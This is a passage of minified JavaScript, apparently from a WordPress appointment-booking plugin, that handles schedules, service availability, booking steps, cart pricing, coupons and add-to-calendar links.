Y(e.time_period);t.push({time_period:i,location:e.location,activity:e.activity}),"work"==e.activity&&s.push({time_period:i,location:e.location})})),this.timetable.push(t),this.workTimetable.push(s)}))}setCustomWorkdays(e){this.customWorkdays=[];for(let t of e)this.customWorkdays.push({date_period:new J(t.date_period),time_period:new Y(t.time_period)})}setDaysOff(e){this.daysOff={};for(let t of e){let e=new J(t).splitToDates();jQuery.extend(this.daysOff,e)}}isDayOff(e){return"string"!=typeof e&&(e=f(e,"internal")),e in this.daysOff}getWorkingHours(e,t=0){if(this.isDayOff(e))return[];if("string"==typeof e&&(e=b(e)),null==e)return[];let s=[],i=e.getDay();for(let e of this.workTimetable[i])0!=t&&e.location!=t||s.push(e.time_period);for(let t of this.customWorkdays)t.date_period.inPeriod(e)&&s.push(t.time_period);return s}}class ee extends W{mapRestDataToEntity(e){return new X(e.id,e)}}class te extends W{mapRestDataToEntity(e){return new V(e.id,e)}}class se{constructor(){this.repositories={}}schedule(){return null==this.repositories.schedule&&(this.repositories.schedule=new ee("mpa_schedule")),this.repositories.schedule}service(){return null==this.repositories.service&&(this.repositories.service=new te("mpa_service")),this.repositories.service}reservation(){return null==this.repositories.reservation&&(this.repositories.reservation=new Z("mpa_reservation")),this.repositories.reservation}coupon(){return null==this.repositories.coupon&&(this.repositories.coupon=new G("mpa_coupon")),this.repositories.coupon}customer(){return void 0===this.repositories.customer&&(this.repositories.customer=new CustomerRepository),this.repositories.customer}static getInstance(){return null==se.instance&&(se.instance=new se),se.instance}}function ie(){return se.getInstance()}let ae=null;function re(e,t){const s=[];for(const i of e){const e=t.includes(i.slug),a=Array.isArray(i.children)?i.children:[],r=a.length?re(a,t):[];(e||r.length>0)&&s.push({...i,children:r})}return s}function ne(e){let t=[];for(const s of e)s.slug&&t.push(s.slug),Array.isArray(s.children)&&(t=t.concat(ne(s.children)));return t}function oe(e,t=[],s=null,i=0){const a=[],r=new Map(t.map(((e,t)=>[e,t]))),n=[...e].sort(((e,t)=>{var s,i;return(null!==(s=r.get(e.slug))&&void 0!==s?s:Number.MAX_SAFE_INTEGER)-(null!==(i=r.get(t.slug))&&void 0!==i?i:Number.MAX_SAFE_INTEGER)}));for(const e of n)Array.isArray(s)&&!s.includes(e.slug)||(a.push({id:e.slug,name:"&nbsp;&nbsp;".repeat(i)+e.name}),Array.isArray(e.children)&&a.push(...oe(e.children,t,s,i+1)));return a}function le(e){return H(e)}class he{setupProperties(){this.availability={},this.services={},this.serviceCategories={},this.employees={},this.locations={},this.servicePromise=null,this.readyPromise=null,this.serviceIndexes=[],this.categoryIndexes=[],this.employeeIndexes=[],this.locationIndexes=[]}constructor(){this.setupProperties()}load(e=!1){return this.readyPromise=function(e=!1){return(e||null==ae)&&(ae=h("/services/available").catch((e=>(console.error("Unable to extract available services."),{})))),ae}(e).then((e=>{const{services:t,services_order:s,categories_order:i,employees_order:a,locations_order:r,categories_tree:n}=e;return this.setServiceIndexes(s||[]),this.setCategoryIndexes(i||[]),this.setEmployeeIndexes(a||[]),this.setLocationIndexes(r||[]),this.setServiceCategoriesTree(n||{}),this.setAvailability(t),this})),this.readyPromise}setServiceCategoriesTree(e){this.categories_tree=e}setServiceIndexes(e){this.serviceIndexes=e}setCategoryIndexes(e){this.categoryIndexes=e}setEmployeeIndexes(e){this.employeeIndexes=e}setLocationIndexes(e){this.locationIndexes=e}setAvailability(e){this.availability=e;for(let t in e){let s=e[t];this.services[t]=s.name;for(let e in s.categories){let t=s.categories[e];this.serviceCategories[e]=t}for(let e in s.employees){let t=s.employees[e];this.employees[e]=t.name;for(let e in t.locations){let s=t.locations[e];this.locations[e]=s}}}}isEmpty(){return F(this.availability)}ready(){return null===this.readyPromise&&this.load(),this.readyPromise}getServicePromise(){return this.servicePromise}getService(e,t=!0,s=null){let i=new V(e);return this.services.hasOwnProperty(e)&&i.setName(this.services[e]),!0===t?(this.servicePromise=q.loadInBackground(i,ie().service()),null!==s&&this.servicePromise.then(s),this.servicePromise.then((()=>i))):this.servicePromise=null,i}getServiceCategories(e){return this.availability[e].categories}getServiceCategoriesTree(){return this.categories_tree||{}}getEmployee(e){let t=new O(e);return this.employees.hasOwnProperty(e)&&(t.name=this.employees[e]),t}getLocation(e){let t=new N(e);return this.locations.hasOwnProperty(e)&&(t.name=this.locations[e]),t}getAvailableServices(e="",t=0,s=0){let i={};for(let a in this.availability){let r=this.availability[a];if(""===e||e in r.categories){if(0!==t){let e=!1;if(Object.keys(r.employees).forEach((s=>{r.employees[s].locations.hasOwnProperty(t)&&(e=!0)})),!e)continue}(0===s||s in r.employees)&&(i[a]=r.name)}}return i}getAvailableServiceCategories(){let e={};for(let t in this.availability){let s=this.availability[t];jQuery.extend(e,s.categories)}return e}getAvailableEmployees(e=0,t=0){let s={};for(let i in this.availability){if(0!=e&&i!=e)continue;let a=this.availability[i];for(let e in a.employees){let i=a.employees[e];(0===t||t in i.locations)&&(s[e]=i.name)}}return s}getAvailableLocations(e=0,t=0){let s={};for(let i in this.availability){if(0!=e&&i!=e)continue;let a=this.availability[i];for(let e in a.employees){if(0!=t&&e!=t)continue;let i=a.employees[e];jQuery.extend(s,i.locations)}}return s}isAvailableServiceCategory(e){return this.getAvailableServiceCategories().hasOwnProperty(e)}isAvailableService(e){return this.getAvailableServices().hasOwnProperty(e)}isAvailableLocation(e){return this.getAvailableLocations().hasOwnProperty(e)}isAvailableEmployee(e){return this.getAvailableEmployees().hasOwnProperty(e)}filterAvailableEmployees(e,t=0,s="ids"){if(!(e in this.availability))return[];let i=[];Array.isArray(t)?i=t.filter(le):0!==t&&i.push(t);let r=[];for(let t in this.availability[e].employees){t=j(t);let s=this.availability[e].employees[t];if(0===i.length)r.push(t);else{a(i,Object.keys(s.locations).map(j)).length>0&&r.push(t)}}return 0===r.length?[]:"entities"===s?r.map((e=>this.getEmployee(e))):r}filterAvailableLocations(e,t=0,s="ids"){if(!(e in this.availability))return[];let a=[];Array.isArray(t)?a=t.filter(le):0!==t&&a.push(t);let r=[];for(t in this.availability[e].employees){if(t=j(t),a.length>0&&-1===a.indexOf(t))continue;let s=this.availability[e].employees[t];for(let e in s.locations)r.push(j(e))}return r=i(r),0===r.length?[]:"entities"===s?r.map((e=>this.getLocation(e))):r}}class ce{constructor(e){this.cart=e,this.steps=new M,this.currentStep=null,this.currentStepId=""}addStep(e){return this.steps.push(e.stepId,e),this}getStep(e){return this.steps.find(e)}mount(e){this.addListeners(e)}addListeners(e){e.children(".mpa-booking-step").on("mpa_booking_step_next",((e,t)=>this.onStep("next",t))).on("mpa_booking_step_back",((e,t)=>this.onStep("back",t))).on("mpa_booking_step_new",((e,t)=>this.onStep("new",t))).on("mpa_reset_booking",((e,t)=>this.onStep("reset",t)))}onStep(e,t){if(!t||!t.step||t.step===this.currentStepId)switch(e){case"next":this.goToNextStep();break;case"back":this.goToPreviousStep();break;case"new":this.goToFirstStep();break;case"reset":this.reset()}}goToNextStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findNextKey(this.currentStepId):this.steps.firstKey();e!==this.currentStepId&&(this.switchStep(e),this.skipNextHiddenSteps())}skipNextHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.submit()}))}goToPreviousStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findPreviousKey(this.currentStepId):"";e&&e!==this.currentStepId&&(this.switchStep(e),this.skipPreviousHiddenSteps())}skipPreviousHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.cancel()}))}goToFirstStep(){if(this.steps.isEmpty())return;this.cart.createItem(),this.steps.forEach((e=>{"cart item"===e.getCartContext()&&e.reset()}));let e=this.steps.firstKey();this.switchStep(e),this.skipNextHiddenSteps()}goToStep(e){this.switchStep(e)}getFirstVisibleStepId(){let e=null;return this.steps.forEach((t=>{if(!1===t.isHiddenStep)return e=t.stepId,!1})),e}isFirstVisibleStepId(e){return this.getFirstVisibleStepId()===e}switchStep(e){let t=this.steps.find(e);null!=t&&(this.isFirstVisibleStepId(e)&&t.hideButtonBack(),null!=this.currentStep&&this.currentStep.hide(),this.currentStep=t,this.currentStepId=e,t.load(),t.ready().finally((()=>t.show())))}reset(){this.cart.reset(),this.goToFirstStep(),this.steps.forEach((e=>{"cart item"!==e.getCartContext()&&e.reset()}))}}class pe{constructor(e,t){this.$element=e,this.cart=t,this.setupProperties(),this.addListeners()}setupProperties(){this.stepId=this.theId(),this.schema=this.propertiesSchema(),this.isActive=!1,this.isLoaded=!1,this.isHiddenStep=!1,this.preventReact=!1,this.preventUpdate=!1,this.hideButtons=!1,this.readyPromise=null,this.$buttons=this.$element.find(".mpa-actions"),this.$buttonBack=this.$buttons.find(".mpa-button-back"),this.$buttonNext=this.$buttons.find(".mpa-button-next")}theId(){return"abstract"}getCartContext(){return"cart"}propertiesSchema(){return{}}addListeners(){this.$buttonBack.on("click",this.cancel.bind(this)),this.$buttonNext.on("click",this.submit.bind(this))}load(){this.isLoaded?this.readyPromise=this.reload():(this.readyPromise=this.loadEntities(),this.isLoaded=!0)}loadEntities(){return Promise.resolve(this)}reload(){return Promise.resolve(this)}reset(){}ready(){return this.readyPromise}isValidInput(){return!1}setProperty(e,t){if(this.preventUpdate)return;let s=this.validateProperty(e,t);if(s===this[e])return;let i=this.preventReact;this.preventReact=!0,this.updateProperty(e,s),i||(this.isActive&&this.react(),this.preventReact=!1)}resetProperty(e){this.setProperty(e)}validateProperty(e,t){let s=t;if(e in this.schema){let i=this.schema[e];if(null==t)s=i.default;else{switch(i.type){case"bool":s=H(t);break;case"integer":s=j(t)}if(!F(s)&&null!=i.options){i.options.indexOf(s)>=0||(s=this[e])}}}else null==t&&(s=null);return s}updateProperty(e,t){let s=this[e];this[e]=t,this.afterUpdate(e,t,s)}afterUpdate(e,t,s){}react(){let e=this.isValidInput();this.$buttonNext.prop("disabled",!e),this.hideButtons&&this.$buttons.toggleClass("mpa-hide",!e)}show(){this.enable(),this.react(),this.$element.removeClass("mpa-hide"),this.readyPromise.finally((()=>this.showReady()))}showReady(){this.$element.addClass("mpa-loaded"),this.hideButtons||this.$buttons.removeClass("mpa-hide")}hide(){this.disable(),this.$element.addClass("mpa-hide")}enable(){this.isActive=!0,this.$buttonBack.prop("disabled",!1),this.$buttonNext.prop("disabled",!1)}disable(){this.isActive=!1,this.$buttonBack.prop("disabled",!0),this.$buttonNext.prop("disabled",!0)}cancel(e){void 0!==e&&e.stopPropagation(),this.isActive&&(this.disable(),this.triggerBack())}submit(e){if(void 0!==e&&e.stopPropagation(),!this.isActive||!this.isValidInput())return;this.disable();let t=this.maybeSubmit();null==t?this.triggerNext():"object"!=typeof t?t?this.triggerNext():this.cancelSubmission():t.then(this.triggerNext.bind(this),this.cancelSubmission.bind(this))}maybeSubmit(){}cancelSubmission(){this.enable(),this.react()}triggerBack(){this.$element.trigger("mpa_booking_step_back",{step:this.stepId})}triggerNext(){this.$element.trigger("mpa_booking_step_next",{step:this.stepId})}hideButtonBack(){this.$buttonBack.prop("disabled",!0),this.$buttonBack.toggleClass("mpa-hide",!0)}}class de{static calculateTimezoneOffset(e){if("UTC"===e)return 0;const[t,s]=e.split(":").map(Number);if(isNaN(t)||isNaN(s))throw new Error("Unknown timezone format: "+e);return 60*t+s}static applyTimezoneOffset(e,t){const s=new Date(e);return s.setMinutes(e.getMinutes()-t),s}static isTimezoneProvideByIANA(e){return/^[A-Za-z]+\/[A-Za-z_]+(\/[A-Za-z_]+)?$/.test(e)}static formatDateToCalendar(e){return e.toISOString().replace(/-|:|\.\d{3}/g,"")}static formatDateToCalendarLocal(e){return e.toISOString().replace(/-|:|\.\d{3}|Z/g,"")}static formatDateForOffsetTimeZone(e,t){const s=(new Date).getTimezoneOffset();let i=this.applyTimezoneOffset(e,s);const a=this.calculateTimezoneOffset(t);return i=this.applyTimezoneOffset(i,a),this.formatDateToCalendar(i)}static formatDateForIANATimeZone(e){const t=(new Date).getTimezoneOffset();let s=this.applyTimezoneOffset(e,t);return this.formatDateToCalendarLocal(s)}static formatDateForCalendar(e,t){return this.isTimezoneProvideByIANA(t)?this.formatDateForIANATimeZone(e):this.formatDateForOffsetTimeZone(e,t)}static createICSURL(e,t,s,i,a,r){const n=m().settings().getTimezone();let o=this.formatDateForCalendar(t,n),l=this.formatDateForCalendar(s,n);0===t.getHours()&&0===t.getMinutes()&&0===s.getHours()&&0===s.getMinutes()&&(o=o.replace(/T\d\d\d\d\d\d|Z/g,""),l=l.replace(/T\d\d\d\d\d\d|Z/g,""));const h=["BEGIN:VCALENDAR","VERSION:2.0",`PRODID:${m().settings().getBusinessName()}`];this.isTimezoneProvideByIANA(n)&&h.push("BEGIN:VTIMEZONE","TZID:"+n,"END:VTIMEZONE");let c={dtstamp:"DTSTAMP:"+this.formatDateToCalendar(new Date),uid:"UID:"+e,dtstart:"DTSTART"+(this.isTimezoneProvideByIANA(n)?";TZID="+n+":":":")+o,dtend:"DTEND"+(this.isTimezoneProvideByIANA(n)?";TZID="+n+":":":")+l,summary:"SUMMARY:"+i,description:"DESCRIPTION:"+a,location:"LOCATION:"+r};c=wp.hooks.applyFilters("mpa_prepare_vevent_data",c);let p=Object.values(c);h.push("BEGIN:VEVENT",...p,"END:VEVENT"),h.push("END:VCALENDAR");const d=h.join("\n"),u=new Blob([d],{type:"text/calendar"});return window.URL.createObjectURL(u)}static createGoogleCalendarURL(e,t,s,i,a){const r=new URL("https://www.google.com/calendar/render"),n=m().settings().getTimezone();let o=this.formatDateForCalendar(e,n),l=this.formatDateForCalendar(t,n);return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()&&(o=o.replace(/T\d\d\d\d\d\d|Z/g,""),l=l.replace(/T\d\d\d\d\d\d|Z/g,"")),r.search=new URLSearchParams({action:"TEMPLATE",text:s,dates:`${o}/${l}`,details:i,location:a}).toString(),this.isTimezoneProvideByIANA(n)&&r.searchParams.append("ctz",n),r.toString()}static createYahooCalendarURL(e,t,s,i,a){const r=new URL("https://calendar.yahoo.com/"),n=m().settings().getTimezone();let o=this.formatDateForCalendar(e,n),l=this.formatDateForCalendar(t,n),h={v:"60",view:"d",type:"20",title:s,desc:i,in_loc:a};return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()?(h.st=o.replace(/T\d\d\d\d\d\d|Z/g,""),h.dur="allday"):(h.st=o,h.et=l),r.search=new URLSearchParams(h).toString(),r.toString()}}class me{constructor(e,t){this.cart=t,this.$bookingDetailsSection=e,this.$bookingCartItems=this.$bookingDetailsSection.find(".booking-reservations"),this.$bookingCartItem=this.$bookingCartItems.find(".reservation"),this.$addToCalendarGoogle=this.$bookingCartItem.find(".mpa-add-to-calendar-link--google"),this.$addToCalendarApple=this.$bookingCartItem.find(".mpa-add-to-calendar-link--apple"),this.$addToCalendarOutlook=this.$bookingCartItem.find(".mpa-add-to-calendar-link--outlook"),this.$addToCalendarYahoo=this.$bookingCartItem.find(".mpa-add-to-calendar-link--yahoo")}assignURL(e,t){e.attr("href",t)}initBookingCart(){this.$bookingCartItems.empty(),wp.hooks.doAction("mpa_booking_details_section_init",this.$bookingDetailsSection,this.cart),this.cart.items.forEach((e=>{let t=this.$bookingCartItem.clone();this.$bookingCartItems.append(t);const s=e.getService(),i=s.getName(),a=e.employee.name+". "+s.getQuantityLabel()+": "+e.getCapacity()+".";let r=i;e.getCapacity()>1&&(r+=" ",r+='<span class="mpa-reservation-capacity">',r+=s.getQuantityLabel()+": "+e.getCapacity(),r+="</span>"),t.find(".reservation-title").html(r),t.find(".reservation-date").html(f(e.date)),t.find(".reservation-time").html(e.time.toString());const n=de.createICSURL(e.getItemId(),e.time.startTime,e.time.endTime,i,a,wp.hooks.applyFilters("mpa_booking_cart_item_location_ics",e.location.name,e)),o=de.createGoogleCalendarURL(e.time.startTime,e.time.endTime,i,a,wp.hooks.applyFilters("mpa_booking_cart_item_location_google",e.location.name,e)),l=de.createYahooCalendarURL(e.time.startTime,e.time.endTime,i,a,wp.hooks.applyFilters("mpa_booking_cart_item_location_yahoo",e.location.name,e));this.assignURL(t.find(".mpa-add-to-calendar-link--google"),o),this.assignURL(t.find(".mpa-add-to-calendar-link--apple"),n),this.assignURL(t.find(".mpa-add-to-calendar-link--outlook"),n),this.assignURL(t.find(".mpa-add-to-calendar-link--yahoo"),l)})),this.$bookingDetailsSection.toggleClass("mpa-hide",!1)}reset(){this.$bookingDetailsSection.toggleClass("mpa-hide",!0);const e="#";this.assignURL(this.$addToCalendarGoogle,e),this.assignURL(this.$addToCalendarApple,e),this.assignURL(this.$addToCalendarOutlook,e),this.assignURL(this.$addToCalendarYahoo,e)}}class ue extends pe{setupProperties(){super.setupProperties(),this.hideButtons=!0,this.isPosted=!1,this.isBooked=!1,this.$message=this.$element.find(".mpa-message").first(),this.$buttonReset=this.$buttons.find(".mpa-button-reset"),this.$bookingDetails=this.$element.find(".mpa-booking-details").first(),this.$bookingDetails.length>0&&(this.bookingDetails=new me(this.$bookingDetails,this.cart))}reload(){return this.isPosted=!1,this.isBooked=!1,this.setMessage(u("Making a reservation...","motopress-appointment")+' <span class="mpa-preloader"></span>'),this.bookingDetails&&this.bookingDetails.reset(),Promise.resolve(this)}addListeners(){super.addListeners(),this.$buttonReset.on("click",this.resetForm.bind(this))}theId(){return"booking"}react(){this.isPosted&&(this.$buttons.removeClass("mpa-hide"),this.$buttonBack.toggleClass("mpa-hide",this.isBooked),this.$buttonReset.toggleClass("mpa-hide",!this.isBooked||this.isRedirectNeeded()))}show(){super.show(),this.createBooking()}createBooking(){c("/bookings",{...wp.hooks.applyFilters("mpa_booking_cart_data",this.cart.toArray()),nonce:this.cart.getBookingNonce()}).then((e=>{this.isRedirectNeeded()?this.redirectPayment():(this.isPosted=this.isBooked=!0,this.cart.paymentDetails.booking_id=e.booking_id,wp.hooks.doAction("mpa_booking_cart_response",e,this.cart),this.setMessage(e.message),this.bookingDetails&&this.bookingDetails.initBookingCart(),this.react())}),(e=>{this.isPosted=!0,this.setMessage(e.message),this.react()}))}showReady(){super.showReady(),this.$buttonBack.addClass("mpa-hide"),this.$buttonReset.addClass("mpa-hide")}setMessage(e){this.$message.html(e)}redirectPayment(){this.setMessage(u("You will be redirected to a secure page to complete the payment.","motopress-appointment"));let e=this.cart.getPaymentDetails();window.location.href=e.redirect_url}isRedirectNeeded(){let e=this.cart.getPaymentDetails();return"redirect_url"in e&&""!=e.redirect_url}resetForm(e){e.preventDefault(),this.isPosted&&this.isBooked&&this.$element.trigger("mpa_reset_booking")}}function ge(e){let t="";for(let s in e)t+=" "+s+'="'+e[s]+'"';return t}function ye(e,t={}){return"<button"+ge(t=jQuery.extend({},{type:"button",class:"button"},t))+">"+e+"</button>"}function fe(e,t){let s={service_id:".mpa-service-id",service_name:".mpa-service-name",service_thumbnail:".mpa-service-thumbnail",employee_id:".mpa-employee-id",employee_name:".mpa-employee-name",location_id:".mpa-location-id",location_name:".mpa-location-name",reservation_date:".mpa-reservation-date",reservation_save_date:".mpa-reservation-save-date",reservation_time:".mpa-reservation-time",reservation_period:".mpa-reservation-period",reservation_save_period:".mpa-reservation-save-period",reservation_capacity:".mpa-reservation-capacity",reservation_clients:".mpa-reservation-clients",reservation_clients_count:".mpa-reservation-clients-count",reservation_price:".mpa-reservation-price"},i=t.clone();i.attr("data-id",e.getItemId());let a=e.getCapacityOptions();for(let t in s){let n=s[t],o=i.find(n).first(),l="{"+t+"}";if(!(o.length>0?o.html():"").includes(l))continue;let h="";switch(t){case"service_id":h=e.service.id;break;case"service_name":h=e.service.name;break;case"service_thumbnail":h=ke(e.service.thumbnail);break;case"employee_id":h=e.employee.id;break;case"employee_name":h=e.employee.name;break;case"location_id":h=e.location.id;break;case"location_name":h=e.location.name;break;case"reservation_date":h=f(e.date);break;case"reservation_save_date":h=f(e.date,"internal");break;case"reservation_time":h=e.time.toString("short");break;case"reservation_period":h=e.time.toString();break;case"reservation_save_period":h=e.time.toString("internal");break;case"reservation_capacity":h=_e(r(a,a),e.capacity);break;case"reservation_clients":h=Ce(r(a,a),e.capacity);break;case"reservation_clients_count":h=e.capacity;break;case"reservation_price":let t=e.employee.id;h=ve(e.service.getPrice(t,e.capacity))}o.html(o.html().replace(l,h))}return i.find(".cell-people .cell-title").html(e.getService().getQuantityLabel()),i.find('[name*="{item_id}"]').each(((t,s)=>{s.name=s.name.replace("{item_id}",e.getItemId())})),1===a.length&&i.find(".cell-people").addClass("mpa-hide"),i}function be(e){let t="";t+='<table class="mpa-order widefat">',t+="<tbody>";for(let s of e.products)t+='<tr class="mpa-order-service">',t+='<td class="column-service">',t+='<span class="mpa-service-name">'+s.name+"</span>",s.capacity>1&&(t+='<span class="mpa-reservation-capacity">',t+=s.quantity_label+": "+s.capacity,t+="</span>"),t+="</td>",t+='<td class="column-price">'+Se(s.price)+"</td>",t+="</tr>";return t+='<tr class="mpa-order-subtotal">',t+='<th class="column-subtotal">'+u("Subtotal","motopress-appointment")+"</th>",t+='<th class="column-price">'+Se(e.subtotal)+"</th>",t+="</tr>",t+="</tbody>",t+="<tfoot>",e.coupon&&(t+='<tr class="mpa-order-coupon">',t+='<th class="column-coupon">',t+=u("Coupon: %s","motopress-appointment").replace("%s",e.coupon.code),t+="</th>",t+='<td class="column-price">',t+=Se(-e.coupon.amount),t+=" ",t+='<a href="#" class="mpa-remove-coupon">'+u("Remove","motopress-appointment")+"</a>",t+="</td>",t+="</tr>"),t+='<tr class="mpa-order-total">',t+='<th class="column-total">'+u("Total","motopress-appointment")+"</th>",t+='<th class="column-price">'+Se(e.total)+"</th>",t+="</tr>",t+="</tfoot>",t+="</table>",t}function ve(e,t={}){let s=m().settings();t=jQuery.extend({currency_symbol:s.getCurrencySymbol(),currency_position:s.getCurrencyPosition(),decimal_separator:s.getDecimalSeparator(),thousand_separator:s.getThousandSeparator(),decimals:s.getDecimalsCount(),literal_free:!0,trim_zeros:!0},t);let i=function(e,t=0,s=".",i=","){let a,r,n,o,l,h="";return e<0&&(h="-",e*=-1),a=parseInt(e=(+e||0).toFixed(t))+"",(r=a.length)>3?r%=3:r=0,l=r?a.substr(0,r)+i:"",n=a.substr(r).replace(/(\d{3})(?=\d)/g,"$1"+i),o=t?s+Math.abs(e-a).toFixed(t).replace(/-/,0).slice(2):"",h+l+n+o}(Math.abs(e),t.decimals,t.decimal_separator,t.thousand_separator),a="mpa-price";if(0==e&&(a+=" mpa-zero-price"),0==e&&t.literal_free)a+=" mpa-price-free",i=g("Free","Zero price","motopress-appointment");else{t.trim_zeros&&(i=function(e,t=null){null==t&&(t=m().settings().getDecimalSeparator());let s=new RegExp("\\"+t+"0+$");return e.replace(s,"")}(i));let s='<span class="mpa-currency">'+t.currency_symbol+"</span>";switch(t.currency_position){case"before":i=s+i;break;case"after":i+=s;break;case"before_with_space":i=s+"&nbsp;"+i;break;case"after_with_space":i=i+"&nbsp;"+s}e<0&&(i="-"+i)}return'<span class="'+a+'">'+i+"</span>"}function Se(e,t={}){return t.literal_free=!1,ve(e,t)}function _e(e,t,s={}){let i="<select"+ge(s)+">";return i+=Ce(e,t),i+="</select>",i}function Pe(e,t,s=!1){let i="";return i='<option value="'+e+'"'+(s?' selected="selected"':"")+">",i+=t,i+="</option>",i}function Ce(e,t){let s="";for(let i in e)s+=Pe(i,e[i],i==t);return s}function we(e,t,s,i){let a="";const r=String(i);for(const[e,s]of Object.entries(t))a+=Pe(e,s,e===r);for(let e of s)a+=Pe(String(e.id),e.name,String(e.id)===r);e.empty().append(a).val(r)}function ke(e){let{width:t,height:s}=m().settings().getThumbnailSize();return"<img"+ge({width:t,height:s,src:e,class:"attachment-thumbnail size-thumbnail"})+">"}class $e extends pe{setupProperties(){super.setupProperties(),this.isBeginCheckoutEventSent=!1,this.$cart=this.$element.find(".mpa-cart"),this.$items=this.$cart.find(".mpa-cart-items"),this.$itemTemplate=this.$cart.find(".mpa-cart-item-template"),this.$noItems=this.$element.find(".no-items"),this.$totalPrice=this.$element.find(".mpa-cart-total-price"),this.$buttonNew=this.$buttons.find(".mpa-button-new")}theId(){return"cart"}addListeners(){super.addListeners(),this.$buttonNew.on("click",this.createNew.bind(this))}load(){if(this.$itemTemplate.remove(),this.$itemTemplate.removeClass("mpa-cart-item-template"),null!==this.cart.getActiveItem()){let e=this.cart.getActiveItem(),t=e.getItemId(),s=e.getDate(),i=e.getTime();this.cart.getItems().forEach((a=>{a.isSet()&&a.getItemId()!=t&&a.isAtTime(s,i)&&a.removeBookingVariatForEmployee(e.getEmployeeId())}))}this.updateActiveItemCapacity(),this.refreshCart(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){this.$items.find(".mpa-cart-item").remove(),this.$noItems.removeClass("mpa-hide"),this.isBeginCheckoutEventSent=!1}updateActiveItemCapacity(){let e=this.cart.getActiveItem();if(!e)return;let t=e.getMinCapacity(),s=e.getMaxCapacity();var i,a,r;e.setCapacity((i=e.getCapacity(),a=t,r=s,Math.max(a,Math.min(i,r))))}refreshCart(){this.cart.getActiveItemId(),this.cart.items.forEach(((e,t,s)=>{let i='.mpa-cart-item[data-id="'+s+'"]',a=this.$items.find(i);0===a.length?(a=this.addItem(e),this.bindListeners(a)):(a=this.updateItem(a,e),this.bindListeners(a))})),this.updateTotalPrice()}addItem(e){let t=fe(e,this.$itemTemplate);return this.$items.append(t),this.$noItems.addClass("mpa-hide"),t}updateItem(e,t){let s=fe(t,this.$itemTemplate);return e.replaceWith(s),s}bindListeners(e){let t=e.data("id"),s=this.cart.getItem(t),i=e.find(".mpa-reservation-capacity select, .mpa-reservation-clients select"),a=e.find(".mpa-reservation-price"),r=e.find(".mpa-button-remove, .mpa-button-edit-or-remove"),n=e.find(".mpa-button-edit, .mpa-button-edit-or-remove");i.on("change",(t=>{let i=j(t.target.value);s.setCapacity(i);let r=s.getBookingVariantForCapacity(i),n=r.employeeId,o=r.locationId;if(s.getEmployeeId()!=n)s.setEmployee(n,!1),s.setLocation(o,!1),e=this.updateItem(e,s),this.bindListeners(e);else{let e=s.service.getPrice(n,i);a.html(ve(e))}this.updateTotalPrice()})),this.isMultibookingEnabled()&&r.on("click",(s=>{s.stopPropagation(),e.remove();let i=this.cart.getItem(t);this.cart.removeItem(t),this.cart.isEmpty()&&this.$noItems.removeClass("mpa-hide"),this.updateTotalPrice(),this.react(),document.dispatchEvent(new CustomEvent("mpa_remove_from_cart",{detail:{cartItem:i,currencyCode:m().settings().getCurrency()}}))})),this.isMultibookingEnabled()||n.on("click",(()=>{this.cart.setActiveItem(t),this.cancel()}))}updateTotalPrice(){this.$totalPrice.html(Se(this.cart.getTotalPrice()))}isMultibookingEnabled(){return m().settings().isMultibookingEnabled()}isValidInput(){return!this.cart.isEmpty()}createNew(){this.isActive&&(this.disable(),this.triggerNew())}triggerNew(){this.$element.trigger("mpa_booking_step_new",{step:this.stepId})}maybeSubmit(){this.isBeginCheckoutEventSent||(document.dispatchEvent(new CustomEvent("mpa_begin_checkout",{detail:{cart:this.cart,currencyCode:m().settings().getCurrency()}})),this.isBeginCheckoutEventSent=!0)}}class Te{constructor(e,t){this.cart=t,this.$element=e,this.$couponCode=e.find('[name="coupon_code"]'),this.$applyButton=e.find(".mpa-apply-coupon-button"),this.$messageHolder=e.find(".mpa-message-wrapper"),this.$preloader=e.find(".mpa-preloader"),this.$parentForm=e.parents(".mpa-booking-step").first(),this.addListeners(),this.reset()}addListeners(){this.$couponCode.on("keydown",(e=>{"Enter"===e.code&&this.onEnter(e)})),this.$applyButton.on("click",this.onSubmit.bind(this))}onEnter(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(e.target.value)}onSubmit(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(this.$couponCode.val())}applyCouponCode(e){this.clearMessage(),e?(this.pauseAll(),ie().coupon().findByCode(e).then((e=>{e.isApplicableForCart(this.cart)?(this.cart.setCoupon(e),this.reset(),this.triggerApplied(e),this.setMessage(u("Coupon code applied successfully.","motopress-appointment"))):this.setMessage(u("Sorry, your booking is not eligible for this coupon.","motopress-appointment")),this.unpauseAll()}),(e=>{this.setMessage(e.message),this.unpauseAll()}))):this.setMessage(u("Coupon code is empty.","motopress-appointment"))}reset(){this.$couponCode.val(""),this.clearMessage(),0===this.cart.getTotalPrice()?(this.disable(),this.$element.addClass("mpa-hide")):(this.enable(),this.$element.removeClass("mpa-hide"))}disable(){this.$couponCode.prop("disabled",!0),this.$applyButton.prop("disabled",!0)}enable(){this.$couponCode.prop("disabled",!1),this.$applyButton.prop("disabled",!1)}pauseAll(){this.disable(),this.showPreloader(),this.$parentForm.trigger("mpa_booking_step_disable")}unpauseAll(){this.enable(),this.hidePreloader(),this.$parentForm.trigger("mpa_booking_step_enable")}triggerApplied(e){this.$parentForm.trigger("mpa_booking_coupon_applied",{coupon:e})}setMessage(e){this.$messageHolder.html(e).removeClass("mpa-hide")}clearMessage(){this.$messageHolder.html("").addClass("mpa-hide")}showPreloader(){this.$preloader.removeClass("mpa-hide")}hidePreloader(){this.$preloader.addClass("mpa-hide")}}function Ie(e){const i=jQuery("<span/>",{id:e.attr("id")+"_error",class:"mpa-phone-field-error mpa-hide",text:u("Phone number is invalid.","motopress-appointment")});e.after("<br>",i);const a=s(e[0],{separateDialCode:!0,initialCountry:t.settings.country,hiddenInput:e.attr("name"),utilsScript:t.urls.plugin+"assets/js/intl-tel-input-17.0.19/js/utils.js"});a.promise.then((()=>{e.val()&&r(),e.on("countrychange",(e=>{r()})),e.on("input",(e=>{r()}))}));const 